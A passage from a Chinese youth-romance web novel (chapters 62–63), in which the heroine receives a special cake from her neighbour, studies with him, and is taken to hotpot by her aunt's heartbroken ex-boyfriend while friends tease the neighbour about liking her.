而姜织宁听到柯译衍这么解释，想了想，很快猜到了大概。 她很震惊，心说不会吧，这么快就让他找到同款了？ 离谱，这效率也太高了吧！ 然后又疑惑回忆着，等会儿，她之前有说过让他去找同款的话么？ 好像没有啊。 难道是她记忆错乱了？ 她现在记忆力确实有所下降，但是应该也没到前脚说后脚忘，这么离谱的程度吧？ 要真到了这种程度，那也太吓人了！ 她得连夜去看医生！ 第62章 某人啊，就是喜欢姜织宁 两人一前一后走进餐厅。 帅哥店长正站在吧台位置, 和老板柯卉芸说话。 余光注意到柯译衍推门进来，男人目光顿了下，然后挪到姜织宁脸上, 他打量了小姑娘几眼，唇角意味深长扬起来, 笑眯眯看向柯译衍。 男人对姜织宁有印象。 前不久的十一假期，SVIEW广告片在附近拍摄, 小姑娘和她的短发同学来店里买过东西，当时短发女孩还拿着相机过来搭讪, 大胆问他, 能不能拍下他的花臂。 男人笑着提醒柯卉芸, 译衍来了，随后转身去冰柜那边拿蛋糕。 柯卉芸临时过来看一眼餐厅的经营情况, 离开之前，听店长说儿子订了蛋糕往这边送, 待会儿就过来拿，她便有意在店里多待了一会儿。 女人从吧台里走出来, 微笑看着柯译衍，“是过来拿蛋糕吧？” 柯译衍没想到柯卉芸在店里, 微微点头, 平淡喊了声妈。 柯卉芸笑望向姜织宁, 她已经见过小姑娘好几次, 知道小姑娘是儿子的同班同学，也是对门邻居。 女人的目光很温柔, 无形化解了姜织宁的拘束感。 柯卉芸笑着问：“和同学出来玩？” “陪她去医院。”柯译衍淡声回。 “生病了？”柯卉芸视线挪到姜织宁脸上。 姜织宁摇头解释：“没有, 就是去开点补身体的中药。” 柯卉芸会意点了点头。 这时，店长走出来, 把手中蛋糕递给柯译衍，柯译衍接过来，直接挪到姜织宁面前，说：“看看是不是你想要的那种。” 姜织宁顺势低头看去。 透明礼盒包装，里面摆着两块四四方方的奶油蛋糕，雪白奶油绵密厚实，蛋糕中间夹了层湿润浓郁的樱桃果酱，最上面点缀着两颗酒渍樱桃。 样式和记忆中的奶油蛋糕一摸一样，除了夹心果酱不同，柯译衍买的这个是樱桃果酱，而医院用的是草莓果酱。 她目光落到包装盒角落，那里印着柏风酒店的logo。 柏风酒店？ 姜织宁忽然想起来，这款奶油蛋糕是柏风酒店十多年前推出的招牌甜品，一经推出便风靡江洲市，很受食客追捧，直到今天还在售卖。 没有花里胡哨的卖相，外表甚至可以用普通来形容，但味道却很不一般，一尝就知道是五星级酒店的水准。 正因为蛋糕太经典了，所以早些年，外面有很多商家跟着模仿卖同款。 医院食堂里的奶油蛋糕也是按照柏风酒店原版蛋糕做的，只不过因为成本问题，厨师将原版现熬的樱桃酱换成了草莓酱，奶油部分也简配了。 要不是柯译衍这会儿给她买了原版蛋糕，她都忘了这段过往，确实是很多年前小时候的事了。 难以置信，柯译衍也太厉害了吧，居然能记起这段历史，直接给她买了原版。 说实话，姜织宁真挺惊喜的，她眉眼弯弯看向柯译衍：“嗯，一摸一样，就是这种。” 柯卉芸看姜织宁一脸高兴模样，便猜到小姑娘喜欢吃甜食，笑着对她说：“既然来了，要不要去吧台那边挑几样甜品带回去，我们禾上的甜品也不错，都是减糖配方，很适合女生口味。” 这怎么好意思呢，姜织宁连忙摆手：“不用了阿姨。” 结果，柯译衍毫不客气地拆台说：“去挑挑看，你不是说这里的杏仁片很好吃？” 姜织宁：“” 知道你记性好，但请不要随便发言好吗…… 说话不看看场合么，你妈妈也在场哎…… 事实上，是姜织宁冤枉他了，并不是柯译衍故意拆她台，他是特意带她来禾上。 柏风酒店的饼房没有外卖服务，他在线上订好蛋糕后，叫了跑腿去酒店拿蛋糕，原本想让人直接送去家里，后来发现医院距离禾上不远。 他知道姜织宁喜欢吃甜食，上次从禾上给她带了巧克力卷，她吃得很开心。 吃午饭那会儿，他想了想，既然都出来了，干脆顺路去一趟禾上，让她到店里挑些喜欢的甜品带回家，所以就让跑腿把蛋糕送往禾上这边。 要是柯阿姨不在这儿，姜织宁肯定放轻松去挑选甜品了，可现在柯阿姨就站在面前，眼看母子之间气氛不那么自在，她就不太愿意离开。 姜织宁的家庭氛围温馨和睦，父母特别恩爱，从小就将她捧成掌上明珠来疼爱，家中其他长辈们也是如此，一直把她当成亲生女儿来宠，可以说，她自幼便在爱的沐浴下长大，从没体会过缺爱的滋味。 父母去世后，长辈们对她的关爱只增不减，层层保护之下，她依然能做个会撒娇，不用看人眼色的小女孩。 就家庭氛围、亲情关系来说，她算是周围朋友中最幸福的小孩。 而发小蔡从就是她的对照组。 蔡从家庭矛盾特别多，父母婚姻名存实亡，两人相继出轨，外头还有私生子，狗血问题多到数不清，所以蔡从和家里的关系奇差无比。 蔡从和姜织宁从小一起长大，他父母很喜欢姜织宁。 姜织宁碰见过好几次蔡从和家里吵架，两边吵得很凶，修罗场一样，她不会置身事外，每次都会化身成润滑剂，主动上前调解，尽量缓和两边关系，因为蔡从父母会听她的劝。 她和柯译衍是朋友，她也知道他和家里关系不太好，但是她对他毕竟不像蔡从那样知根知底，因此没有冒然多管闲事的道理。 突然碰上柯译衍和他妈妈都在场的局促场面，她有点手足无措，只好尽量做到安静不多嘴。 眼下也是，姜织宁一动不动站在柯译衍身边，眼巴巴盯着他，实在做不到这边母子气氛不自在，她却顾自跑去吧台那边挑甜品的没眼力劲行为。 柯译衍不知道她心里想的这些弯弯绕绕，看她的目光逐渐变得困惑，最后催问了句：“怎么不过去挑？” “” 姜织宁无声叹气，心说，还不是为了你。 柯卉芸笑了笑，开口说：“译衍，我听平清说，上次网球比赛结束后，你带同学去久悸吃饭了。” 柯译衍顿了下，淡声问：“你去看比赛了？” “对。”女人怕儿子想太多，连忙解释，“是你舅舅邀请的，他说公司赞助了学校活动，让我和平清有空一起去看看。” 柯译衍低嗯一声，又瞥了眼姜织宁，心想估计她是真不想吃，那就直接回家吧。 这会儿气氛还挺和谐，姜织宁没瞧出柯译衍不愿多聊的抵触情绪，犹豫了下，本着不打扰两人聊天的想法，弯唇对他说：“那个，我去吧台那边看看，你们聊。” 柯译衍迟疑点头。 姜织宁刚走到吧台，就看到母子二人走去落地窗边坐下。 难得两人有机会好好坐下聊一聊，她识趣不打扰，挑了几款甜品后，也不着急离开，双手趴在柜台上，和帅哥店长闲聊起来。 男人阅历丰富，敏锐察觉出姜织宁意图，便笑眯眯配合着她，心说这小姑娘还挺有心。 原本只是闲聊，结果聊着聊着，姜织宁就被男人带着聊上瘾了，一双眼睛不再往柯译衍那边偷瞄。 既然做餐饮，那对美食方面肯定颇有研究，餐厅里有售卖来源于世界不同产地的精品咖啡豆，男人一边和姜织宁科普咖啡豆知识，一边亲手做咖啡，邀请她品尝不同风味。 中途，男人发现小姑娘对咖啡机和拉花挺感兴趣，便大方邀请她来操作区，亲自教她制作咖啡。 男人现场教学，姜织宁挽起袖子，严格按照流程，一步一步慢慢操作，前期步骤还算容易，但最后的拉花却怎么也学不会。 她被激起不服输的劲，努力尝试了好几次，结果根本拉不出成形图案 明明眼睛学会了，理论听懂了，信心十足觉得我又可以了，却连最简单的大白心都拉不出来。 柯译衍怕姜织宁不自在，特意选择面朝吧台方向的位子，和柯卉芸聊天期间，他时不时抬眸瞥姜织宁一眼，分心注意着她那边的情况。 其实他这边早就聊得差不多了，甚至特意坐着等了她一会儿，结果半个小时过去，姜织宁还在那边死磕拉花。 少女卷着袖口，神情比学徒还认真，他注视着她看了会儿，忍不住勾唇笑起来，起身走向吧台观赏。 只见姜织宁脸色凝重地倾斜咖啡杯，右手拿着拉花缸，在店长“高一点，别着急！哎对对对，咖啡杯慢慢放平！”的提醒下，右手颤颤巍巍，最终在液面上拉出一个歪歪扭扭的干瘪小爱心。 好丑，又没成功。 像没吃饱饭一样。 姜织宁叹气放下杯子，想说自己不行，就听见男人浮夸鼓起掌，笑眯眯夸道：“很不错啊！这次相当不错，已经非常漂亮了！” 姜织宁：“” 她沮丧抬起头，发现柯译衍来了，他身姿闲散站在她对面，正低头打量她的丑作。 姜织宁：“和柯阿姨聊好了？” 柯译衍嗯了声。 她问：“这拉花是不是挺丑的？” 柯译衍弯唇评价：“看着还不错。” 哪里不错了…… 就这爱心，明显是三天三夜没吃过饭的饥饿样，他是不是在说违心话啊？ 姜织宁半信半疑，将咖啡杯推到他面前，撇嘴说：“那请客人品尝一下，记得给我五星好评。” 她就是和他开个玩笑，没想到柯译衍真端起了咖啡杯，慢悠悠品尝起来。 时间不早，两人和柯卉芸打了个招呼，坐车回家。 到家后，姜织宁把蛋糕放进冰箱里，回房间做作业，没过多久，手机里弹出柯译衍发来的微信消息。 【K】：月考试卷有没有带回来？ 【Ning】：带了。 【K】：拿过来看看？ 姜织宁懂了，这是要帮她讲题，她顿时笑起来，故意拿乔。 【Ning】：为什么我过去，不是你过来啊？ 【K】：姜阿姨同意？ 【K】：我有姓名了？ 姜织宁看着手机屏幕，笑得不行，一边笑一边感慨柯译衍真的好惨啊。 她起身拿起书本试卷，打开房门走出去，在客厅和厨房里走了一圈，想和姑姑说一声过去做作业，却没看见人影，估计又出门了。 快要年底，这段时间姑姑的公司忙得很，她只好在微信上和姑姑留言。 赵阿姨在厨房里忙活，瞧见姜织宁拿着书过来，有些意外，笑道：“过来做作业啊。” 姜织宁点点头。 以前她都是过来吃饭，吃完饭就走，这是她第一次过来做作业。 柯译衍没带她去书房，直接把书本试卷摊到餐桌上，一方面因为客厅的空间更宽阔，长餐桌足够大，再坐几个人都不是问题，另一方面是为了避嫌。 赵阿姨洗了盘水果端上桌，顺势对姜织宁说：“冰箱里有你喜欢的酸奶，姜小姐买的，昨晚被我不小心放进冷冻室了，中午拿到冷藏里，应该还没完全解冻，你要是想喝的话，先拿出来放一会儿。” 柯译衍听见后，走到冰箱前，从冷藏室拿出硬邦邦的酸奶放到餐桌上，然后坐到姜织宁身边。 他松弛后靠向椅背，侧目看着她，问：“坐车那会儿听你说睡眠异常，现在会失眠么？” 姜织宁挖了勺奶油蛋糕，嗯了声：“有时候会，我睡眠质量不太行，很容易受到周围环境影响。” “晚上几点睡觉？” “失眠的话不好说，有可能会通宵睡不着，一般是十二点多，你呢？” “十二点之前。” 姜织宁称赞一句：“那你不熬夜，挺好的，熬夜容易精神萎靡。” 柯译衍基本不会熬夜学习，和学校里那群晚睡早起的卷神比起来，他睡眠时间充足，作息算是少有的健康。 说实话，他脑子很聪明，转得快，在学习方面确实有天赋。 小时候学网球，有教练看他条件好，问他有没有兴趣去省队，那时他年纪太小，并没有打职业的念头，纯把网球当兴趣爱好，并不怎么上心，所以很干脆的拒绝教练，说自己更喜欢学习。 当时这番话让很多在场家长惊呆了，觉得他在凡尔赛，其实真不是，他是真的挺喜欢学习，也没觉得这事有多难。 当然，不是说他光靠脑子不努力，这不可能，只是说，如果划分阵营的话，柯译衍绝对属于天赋流那派。 高中生普遍睡眠不足，有些学校的住宿生有延息的习惯，走读生也会在家里熬夜学习，姜织宁忽然想起因为蔡从总是在课堂上闷头睡觉，从而被老师怒骂的话。 她忍不住笑起来，分享说：“我有个朋友，曾经被老师骂过——现在少睡点没事，以后死了让你睡个够，哈哈哈，太搞笑了。” 柯译衍建议道：“调整作息，早睡早起试试？” “是有这个打算。”姜织宁点点头，自我检讨说，“我现在拖延症有点厉害，晚自习回家后会看书，但大部分时间花在了磨蹭上，还晚睡晚起，确实打算早睡早起，换一种作息，看看效果怎么样。” 说话时，大门响起敲门声。 柯译衍起身走向门口，姜织宁随之扭头，门打开，韩辰大剌剌走进来，手里拿着试卷和书。 韩辰瞄见姜织宁在，丝毫没意外，主动冲她抬手打了声招呼：“哟，这么巧，宁王也在呢！” “你也来学习？”姜织宁看到他过来，还挺惊讶。 韩辰把东西放到柯译衍座位另一边，愁眉苦脸说：“是啊，这不是月考没考好吗，来楼上学霸这儿取取经呗。” “哦，那确实巧，我也考砸了。” 说着，姜织宁顺手捞过他各科试卷，看清分数后的下一秒，滞了下，然后礼貌笑了笑，什么也没说，默默给放了回去。 与此同时，韩辰以为自己找到同盟了，一边开心说着“哈哈哈，巧巧巧！你也没考好啊！”，一边嬉皮笑脸去看姜织宁的试卷。 看着看着，他脸上笑容逐渐消失不见，因为自尊心受到了严重打击。 真是应了那句话，人比人气死人！ 韩辰疯狂抖动姜织宁的试卷，大声质问她：“你这分数叫考砸了？！！！你这算考砸的话，那我算什么垃圾啊！！！你们江中人都这么凡尔赛的吗？！！！” 柯译衍耳朵受不了他的聒噪怪叫，冷冷斜他一眼，骂道：“吵什么吵！” 韩辰瞬间闭麦。 “你加油。”姜织宁表情含蓄地说。 韩辰：“” 韩辰生了几秒“为什么不如人？”的闷气，然后对她说：“最近我在学街舞。” 姜织宁：“啊？你不是演员吗？” “公司帮我接了个有关街舞的剧本。” “哦，那挺好的。” “宁王你也跳街舞，帮我看看学得怎么样。” “现在吗？” “对啊。” 这点时间还是有的，姜织宁没多想，点头说行，还好心主动拿起手机，找好最佳拍摄角度。 她说：“我帮你录下来，这样你回去后可以对着视频抠细节。” “好人一生平安！” 说着，韩辰兴致勃勃从手机里调出音乐，就这么在两人面前跳了起来。 录着录着，姜织宁脸上笑容也逐渐消失不见了，她甚至感到了一丝害怕。 这是什么动作啊？ 越来越离谱了，丧尸出笼吗？？？ 还好韩辰就表演了一分钟，姜织宁默默点下保存按钮，将视频发给他。 “怎么样？怎么样？” 韩辰快步走过来，迫不及待求点评。 柯译衍皱眉看着他，一言不发。 最开始，柯译衍懒散靠着椅背，右手浅搭在餐桌上，修长指尖悠闲转笔的欣赏姿态。 中途看着看着，指尖倏地停下来，察觉出几分不对劲，他放下笔，上半身前倾，左手撑着下巴，眉头紧皱地看完这段怪异街舞。 怎么说呢，他是不懂专业街舞，但至少能分得清好看和不好看。 很明显，韩辰跳的不好看。 说不上来，感觉跳得很奇怪，像做法一样，也不知道这是不是一种特殊的行为艺术。 柯译衍沉默了下，相当客气地没发表评论，下巴冲姜织宁抬了抬，冷静表示：“看不懂，问她。” “” 姜织宁无奈扭头瞥他一眼。 心说，也太高看她了吧，她也没看懂啊 内心长叹一口气，她委婉问：“你在里面演的什么角色啊？” 韩辰一脸天真地说：“街舞新人。” “哦，新人跳成这样可以，视频发你微信了，你自己回去琢磨琢磨。”姜织宁好心问了句，“你这角色是不是走的喜剧风？” “不是啊。” “那是什么？” “励志风。” 姜织宁直接被他说沉默了，沉默好半天，才憋出一句：“那还是回去苦练吧，这一点都不励志，真的，我都怕你到时候被观众骂。” 她已经说得相当委婉了，要是换成她的街舞老师，早就开麦破口大骂。 只表演了一分钟，但跳下来还挺累，韩辰双手叉腰，气喘吁吁走向座位，坐下时，瞄见眼前放了瓶酸奶，下意识伸手去拿。 柯译衍眼疾手快，先一步拿走酸奶，放到姜织宁手边不远处，碰都没让韩辰碰一下。 韩辰简直惊呆：“酸奶都不让我喝？？？” “没长手？”柯译衍冷酷无情回了句，“自己去冰箱里拿。” “”韩辰痛心疾首地说：“爸爸啊！你这么不珍惜我，等以后我升咖了，你会失去我的！” 姜织宁重新看了遍刚才拍摄的舞蹈视频，按灭手机放桌上，开玩笑接话：“升咖？升什么咖，法制咖？ “” 韩辰两眼一翻，死命按着人中，无力仰靠椅背，一副“本人已死有事烧纸”的生无可恋模样。 见状，姜织宁惊讶哎了声，连忙起身说：“怎么就晕了？和你开玩笑的，没事吧韩辰？别晕啊，还能呼吸吗？” 韩辰无语心说，他都死了还怎么呼吸啊？ 姜织宁：“柯译衍，你来看看韩辰有没有事。” “行了啊。”柯译衍懒得看，直接不客气踹了脚原地装死的人。 好不容易缓过气，韩辰起死回生骂骂咧咧站起来，脸色不爽走向厨房。 打开冰箱门，看清楚里面摆放的东西，他顿时陷入沉默。 各种食物被阿姨分类收纳，摆放得非常整齐，除了用于下厨的食材和中药，剩下的全是零食，而且是根本问都不用问，一眼就能分辨出归属于女生的零食。 绝对是给姜织宁吃的。 至于柯译衍，不存在的。 冰箱里完全没有他的个人物品，如果非要说的话，韩辰复杂的目光缓缓移向可怜巴巴挤在角落里的两瓶矿泉水。 嗯，也就这两瓶水看着像是柯译衍的。 格外鲜明的凄惨对比。 韩辰不禁困惑心想，不是，这到底是谁家啊？是柯译衍家吗？他没走错吧？ 这个家，以后还容得下柯译衍吗？ 啧啧啧，这谁看了不说一声好惨！ 不知道的人，还以为这儿是姜织宁家。 韩辰拿出硬邦邦还没解冻的酸奶，关上冰箱门，大剌剌坐回椅子上，意味深长凝视着柯译衍。 “有话就说。” 柯译衍慢条斯理翻过一页书。 韩辰故意同情长叹了口气，耐人寻味地说：“你完了，你已经失去自我了。” 柯译衍：“？” 听不懂，这人在胡扯什么东西？ 韩辰点到为止，看破不说破，八卦眼神斜向专心刷英语试卷的姜织宁。 反正他坚信自己的直觉。 嘴硬没用的，某人啊，就是喜欢姜织宁。 哎，依他看，柯译衍迟早栽进姜织宁坑里。 拭目以待咯。 第63章 到底是谁喜欢她？？？ 一场萧瑟秋风刮过之后, 行道树上金黄色的叶子被无形画手染成渐变红，纷纷扬扬，漫天飞舞, 如蝶般转悠落下。 天气逐渐冷下来，学生们集体换上秋季校服, 这天晚自习下课，姜织宁像往常般回家。 她回复着疯人联盟群里的消息, 笑眯眯低头从电梯里走出来。 快要走到家门口时，她放下手机抬起头, 猛然间, 发现家门口靠墙站着个卫衣帽兜头的高大男生。 姜织宁吓一跳, 立马脚步停原地，警惕质问：“你谁啊？” 对方闻声抬头看过来, 姜织宁瞧清他的脸，愣了愣, 迟疑打了声招呼：“佳杰哥？” 男生叫于佳杰，目前在江洲大学读大四, 是姑姑的男朋友，之前她跟着姑姑和于佳杰一起吃过几次饭。 呃 他来这里干什么啊？ 于佳杰看到姜织宁回来, 原本无神的眼睛骤然亮起一丝光, 立马问：“你姑姑在家吗？” “不在。”姜织宁摇摇头。 于佳杰为了找女朋友姜颖, 已经站在这里等了很久, 一直等到手机都没电了，仍然固执不愿离去。 期间, 他给姜颖打了无数通电话, 发了好几篇认错小作文，但对方始终不接电话, 不回信息。 这一回，姜颖是铁了心要和他分手，他实在没办法，只能找来这边等人。 “那她几点回来？”于佳杰急切问。 姜织宁还是摇头：“不知道。” 男生眼眶泛红，就这么眼巴巴望着她，整个人仿佛被大雨浇透的可怜小狗，一副姜织宁从没见过的卑微姿态。 被他用这种眼神盯着看，姜织宁脸上表情也挺复杂。 干嘛啊？ 搞得好像是她欺负了他一样。 无言对视数秒后，姜织宁叹了口气，实话实说：“没骗你，我是真不知道。最近不是在弄年末大促活动吗，你也知道姑姑公司的性质，她工作很忙的，已经好几天没回家住了。” 于佳杰神情落寞垂下头。 看对方并没有离开的意思，姜织宁默了默，试探问：“佳杰哥，你是在这里等姑姑吗？等了多久啊？你们吵架了？” 他没吭声。 “姑姑今晚不一定会回来。”她好心补了句，“百分之九十九点九不会回来。” 他还是不说话。 “” 这大晚上的，一大活人站在家门口，还不愿意离开，一时之间，姜织宁也不知道该怎么办。 她等会儿还要出门吃夜宵，出于良心，要么干脆给他拿个小板凳出来，让他坐着等？ 就在这么想时，于佳杰忽然低声下气请求说：“我能进去等她吗？手机没电了。” 姜织宁犹豫三秒，抱歉拒绝：“不太方便。” 万一他赖着不走怎么办。 他也没强求，沮丧哦了声，转而问：“你吃过晚饭了吗？” 于佳杰等太久了，这会儿等得脑子都有些犯糊涂了，他问完才想起来，姜织宁是晚自习放学回来，肯定吃过晚饭了。 他现在又累又饿，可怜兮兮看着她，说：“我还没吃晚饭。” 什么意思啊？ 姜织宁心生不妙，询问：“佳杰哥你不会在这里等了一晚上吧？” “是啊。”于佳杰脸色蔫巴点头，“等了快一天。” 姜织宁：“” 一天？！ 这不是自己找罪受么，她挺不理解的。 那怎么办，除了小板凳，再给他拿点吃的出来？ 嘶，怎么感觉有点离谱啊，该不会，等下还要给他拿条棉被出来吧 好在于佳杰也不知道是想通了，还是怎么回事，他长长叹了口气，主动直起身说：“放学饿了吗，想不想吃夜宵，我请你吃夜宵吧。” 说是请姜织宁吃夜宵，其实一方面想让她当个听众陪陪他，另一方面，姜颖是姜织宁亲姑姑，他知道姜颖最宠侄女，如果姜织宁能帮他说两句好话，说不定分手的事会有可谈的余地。 这回，姜织宁倒是没有第一时间拒绝。 别看姑姑平时会给她买各种零食，但是为了她的身体健康考虑，姑姑在零食方面也管得挺严，每次采购都会严格查看包装上的配料表，所以，家里自然不可能出现泡面这种垃圾食物。 而姜织宁有时候会突然嘴馋，就比如现在。 她原本打算把书包放到家里，然后去小区门口便利店来一份辣海鲜泡面，再点一杯热气腾腾的关东煮。 既然于佳杰主动邀请她吃一起夜宵，姜织宁没考虑多久就答应了。 心想着，这哥应该吃完夜宵就会离开，否则跟演苦情戏似的一直站在她家门口，那也挺可怕的。 她说：“明天还要上课，去不了太远的地方。” 于佳杰报了个店名：“去隔壁一条街的那家火锅店吧，晚上冷，带你吃点热乎的。” 他说的是一家评分很高人均很贵的火锅店，姜织宁点头说：“我进去放下东西。” 出门时，姜织宁好心递给于佳杰一个充电宝，他低声说谢谢。 已经晚上九点多了，火锅店却几乎满座，热闹得很，对学生而言时间不早，但对成年人来说，眼下显然是放松小酌的好时候。 就两个人，用不着包厢，到店里后，于佳杰随便挑了个大厅的位置。 于佳杰高中就在江中念的书，不过他没在本部，在分校区，所以按照辈分上来说，他是姜织宁的学长，两人也算有话题可聊。 刚开始，聊得还挺正常，结果没过多久，于佳杰就忍不住向姜织宁倒起苦水。 他卖惨说，姜颖冷血无情，好几天不接他电话，不回他微信。 还说，今天千辛万苦才找到这边地址，为了姜颖，他从天亮等到天黑，等得腿都麻了。 又说，姜颖平时如何忽略他、冷落他 他也不需要姜织宁回应，一个人语无伦次，说得特别起劲，说着说着，中途突然停下来看向姜织宁，有意无意地向她打探，问姜颖是不是有其他人了？ 姜织宁：“” 她全程听得挺懵的，很多话都没听明白，并不知道于佳杰和姑姑现在到底是什么情况，分没分手。 在平时，姑姑很少和她说起感情生活的事，毕竟她现在只是个学习最重要的高中生，不需要知道成年人之间的复杂事。 唯一有印象的，就是前不久，姑姑在她面前骂过于佳杰—— 花花肠子！特别会演！特别会装！海王！渣男！ 姜织宁咽下嘴里的菜，茫然抬眸看着于佳杰，问他：“你们分手了吗？” 于佳杰：“肯定没有啊！” 她慢吞吞哦了声，不解说：“既然没分手，姑姑哪来的其他人？” 好有道理，于佳杰愣了愣，被姜织宁说服了，喝了口柠檬水，继续对她诉苦。 姜织宁并不是个很有耐心的人，尤其是对自己不感兴趣的事，那就更没什么耐心了。 本来两边说法就不一致，分不清这段感情到底谁对谁错，再加上于佳杰自言自语，流水账式的抱怨方式，导致她很快就听得不耐烦起来。 于佳杰拿她当听众的做法，姜织宁也不好说什么，毕竟吃人嘴软拿人手短，就没主动打断，任由他发牢骚。 期间，她的心情从“啊？真的假的，真是这样吗？”逐渐发展到—— 不是，这事有这么复杂吗？ 既然都这样了，为什么不分手？ 他到底在说什么？听不懂。 好无聊，好无聊，真的好无聊啊。 很无语他怎么还没说完？ 算了，虾滑真好吃，再来一份。 快要考试了，要不背个单词吧。 想到背单词，姜织宁自然而然地拿起手机，点开每天都要登陆打卡的单词软件，分心做起单词量测试。 隔着一条走廊，姜织宁这桌斜对面是个包厢。 此时，包厢里坐了桌高中生，桌上摆了个没分完的大蛋糕，有人在这里过生日，气氛热闹。 柯译衍和俞杨坐在包厢里，他们比姜织宁来得早，寿星是两人共同的朋友，对方在外国语高中读书，是个打网球体育生。 柯译衍松弛靠着椅背，低头回完微信消息，正要将手机锁屏时，韩辰给他发了条微信。 他随手点进去，是张图片，紧跟着弹过来一条信息。 【HC】：惊！江中校花姜织宁，竟然深夜独自和年轻帅哥吃火锅！！！ 柯译衍皱眉打开图片，放大看。 侧拍的角度，正好能看清两人侧脸，照片里的男生他没见过，确实长挺帅，姜织宁撑着脸颊，微笑注视着对方。 从桌椅摆设就能辨认出两人在哪里，看来挺巧，姜织宁也在这边吃火锅。 柯译衍下意识扭头看了眼包厢门，然后目无情绪回头，平静低头打字。 【K】：你也在这边？ 【HC】：我不在啊，是公司的人去那里吃火锅，她们拍了照片发朋友圈，正好被我刷到。我火眼金睛一瞧，好家伙，发现照片里居然有姜织宁！ 【HC】：特意拜托她们拍了张照片发给你，就说我贴不贴心吧？ 【K】：发给我干什么？ 【HC】：啧，不管管吗？ 【K】：你家住海边？管人家吃火锅。 韩辰翻了个白眼，一脸无语。 【HC】： 【HC】：我管的是吃火锅吗？我这是在给你分享情报！ 【HC】：姜织宁，深夜！独自！和年轻帅哥！吃火锅！[震惊.jpg][震惊.jpg][震惊.jpg] 【HC】：我可听公司人说了啊，她们说那个男生又高又帅，本人比照片帅多了！唉，现在帅哥真是多的不值钱，尤其是姜织宁周围！ 【HC】：先不说学校明里暗里追她的男生，她不是一直在音暴学街舞吗，我那街舞老师就是音暴的，老师说，音暴里最不缺的就是帅哥，跳舞贼厉害，一个比一个帅！[大拇指.jpg] 【HC】：这女生吧，就是喜欢喜新厌旧，怎么样啊，你看到照片急不急？我感觉很危险啊！[担心.jpg][担心.jpg][担心.jpg] 【K】：什么深夜，现在才几点？ 这下韩辰白眼都要翻上天了。 装！ 某人就喜欢嘴硬死装！ 当面他是不敢这么说的，线上他倒是敢大声逼逼几句，韩辰冷哼一声，阴阳怪气打字回复。 【HC】：嗨呀，我可真是皇帝不急太监急呢！你别给我弯弯绕绕了，我和你说姜织宁，你非要和我扯现在几点！ 【HC】：到底是谁喜欢她啊？？？[鄙视.jpg][鄙视.jpg][鄙视.jpg] 【HC】：反正不是我。 【HC】：情报我分享给你了啊，别说我不兄弟，你自己看着办吧！ 这人发什么神经？ 扯什么喜欢不喜欢。 姜织宁和谁吃夜宵和他有什么关系？ 他是她家长么，还得管她和异性吃火锅？ 他没那闲心管七管八。 心里升起一股莫名其妙的烦躁，柯译衍冷脸按灭手机，啪一声，带着股脾气扔到桌上。 手机砸向俞杨的玻璃杯，发出清脆声响，玻璃杯差点被砸翻，俞杨吓一跳，连忙转头看向柯译衍。 发现人脸色不对劲，俞杨纳闷愣了下，帮他把无辜遭殃的手机摆放好，小心翼翼凑过来问：“咋啦我的哥？” 这不刚才还好好的吗，怎么就突然生气了 也没人惹他啊。 * 这一边，姜织宁两天的单词量都快背完了，于佳杰那边还没唠叨完。 真是服了哎！ 她都快听出PTSD了 她纳闷心想，这佳杰哥以前不会这样啊，之前看着还挺高冷的，怎么就突然走起怨夫风了 这回她是真坐不下去了，先把单词背完吧，然后找个理由回家。 十五分钟后，姜织宁背完单词，准备退出软件时，手机瞬间黑屏，没电了。 她抬眸看向于佳杰：“佳杰哥，充电宝用好了吗，我手机没电了。” 于佳杰把充电宝拔下来还给姜织宁，与此同时，手机响了起来。 他无精打采瞄了眼屏幕，看清来电的那一秒，黯然无神一整晚的眼睛瞬间亮起光来。 是姜颖打来的。 “喂喂？”于佳杰手忙脚乱接起电话，神情激动，“姐姐姐！” 姜织宁插充电宝的动作停顿了下，瞄了眼于佳杰，是姑姑打来的？ 手机那头传来女人超高分贝的怒斥。 “于佳杰，你疯了？！” 这大嗓门连姜织宁都听到了 她不由露出同情的目光，在心里为佳杰哥点蜡默哀。 整个晚上，姜颖一直在重要饭局上应酬，饭局至今还没散。 在这期间，她的手机一直放在包里，没什么功夫看，还是刚才出来透气的时候，她才发现姜织宁给她发了条微信。 姜织宁说晚自习下课回来，看到了佳杰哥失神落魄站在家门口等她，说他等了很久。 大晚上，于佳杰发神经跑去家门口等她？ 是怎么被他找到那边去的？ 这人有病吧！！！ 姜颖怒火中烧，疾步走到走廊尽头通风口。 先给姜织宁拨了个电话，没人接，以为她睡了，转而给于佳杰打去骂人电话。 饭局上喝了不少红酒，没醉没晕，但酒精刺激着大脑神经，促使姜颖此时的暴脾气比平常更烈三分，她不留情面，破口大骂：“于佳杰，你大晚上犯什么神经病？！” “不是，我” 于佳杰刚想说话，就被女人急风骤雨般的骂声打断。 姜颖：“不是早就和你说分手了吗，干什么，又想反悔？做什么春秋大梦，分手复合都你说了算，天下好事都被你占尽？” “你跑去宁宝那边干什么？万一吓到她怎么办？” “你不知道她在读高中，课业紧张，压力很大吗？！你不上学人家要上学，她最近考试很多，你脑子有病跑去打扰她？！” “谁准你过去的？不是，你怎么找到那边地址的？？？” “于佳杰，麻烦你成熟点，我工作忙得很，没时间浪费在你身上，分手了就是分手了，以后你爱找谁找谁！喊多少声姐姐都没用！！！” “你现在人在哪里？赶紧给我滚回去，再蹲在家门口，我报警了啊！” “什么？和宁宝一起吃火锅？？？” 姜颖抬手按住额角，气到头痛不已。 她闭麦缓了两口气，紧接着高声道：“这都几点了，吃什么火锅，你一天到晚在犯什么病啊，不知道高中生要早睡早起吗？！她明天还要上学的！” 刚开始，于佳杰被姜颖骂得脑子直发晕，不敢反驳，这会儿因为带姜织宁出来吃火锅而被骂，让他觉得很冤枉。 他连忙开口解释：“姐姐你误会了，宁宁本来就要出门吃夜宵，我只是顺便带她吃点好的，没别的意思。” 姜颖：“她吃饱没？” 于佳杰：“好像吃饱了。” 姜颖：“什么叫好像？你眼睛长着干嘛用的？用不上就拿去捐掉！把电话给宁宝！” 于佳杰乖乖把手机递给百无聊赖的姜织宁，说姜颖找她，姜织宁接过来。 姜颖在电话里没说别的，直接问姜织宁于佳杰有没有骗人，然后问她人在哪里，最后让她在店里等着，说会找人接她回家。 姜织宁乖乖答应，把手机还给于佳杰，于佳杰连忙把手机放到耳边：“姐姐姐姐” “嘟嘟嘟——” 那边无情挂了。 于佳杰不可置信看向屏幕，神情呆滞数秒后，突然把手机扔到一边，额头抵在手背上，肩膀微微颤动起来。 “” 姜织宁愣怔望着他。 啊？ 不是吧 哭他这是哭了？？？ 姜织宁不可思议睁大眼。 好离谱，她有点被吓到了，手足无措好一会儿，才手忙脚乱抽出几张纸巾递过去。 “佳佳杰哥，你别哎，你别哭啊” 